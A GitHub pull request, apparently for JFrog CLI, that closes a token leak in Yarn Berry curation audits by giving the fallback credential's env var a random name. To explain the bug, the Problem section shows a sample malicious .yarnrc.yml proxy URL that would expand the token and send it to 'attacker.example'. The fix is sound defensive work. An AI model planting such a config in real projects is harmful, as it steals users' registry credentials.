Repository navigation
XRAY-171572 - Use a per-run random env var for the yarn jf c fallback token - #953
Conversation
|
Important Review skippedAuto reviews are disabled on base/target branches other than the default branch. Please check the settings in the CodeRabbit UI or the
|
960b172 to
d924feb
Compare
|
Question on the design: Review generated by xray-pr-review |
6264bcd to
50efee4
Compare
Home and parent rc: refused on purpose, as the ticket asks. Yarn merges all these files, so a proxy or TLS setting in any of them can send the token elsewhere. Users with their own npm token aren't affected. |
|
Two items from XRAY-171572 that the PR leaves open:
Review generated by jfs-sdlc-pr-review |
|
This PR changes what existing users get. On It applies only when all of these hold: a curation audit, no token in Setups that work today and fail after this PR:
The user's own Neither XRAY-171572 nor this description records Product approval for this change. Could you:
Possible solution candidates, final implementation not decided:
Review generated by jfs-sdlc-pr-review |
49e7b35 to
0af0c11
Compare
|
5803087 to
73a86c4
Compare
3f9f4e7 to
c5d452d
Compare
c5d452d to
1c101c5
Compare

devbranch.Problem
jf curation-auditon a Yarn Berry (2/3/4) project with no token of its own falls back to thejf ccredentials. The token is handed to Yarn in an env var with a fixed, public name (JFROG_CLI_CURATION_YARN_FALLBACK_AUTH), referenced from the temp.yarnrc.ymlas${...}.A malicious project can use that known name in its own
.yarnrc.yml. For example, a proxy URL likehttp://x:${JFROG_CLI_CURATION_YARN_FALLBACK_AUTH:-}@attacker.example/makes Yarn expand the token into the URL and send it to the attacker as proxy credentials.How we fixed
JFROG_CLI_CURATION_YARN_AUTH_<random>). A project can't guess it, so it can't read the token back.clearResolvedRepo()also resets the credential-fallback flag and runs when a working dir fails too, so one dir's repo or fallback state doesn't carry into the next.Testing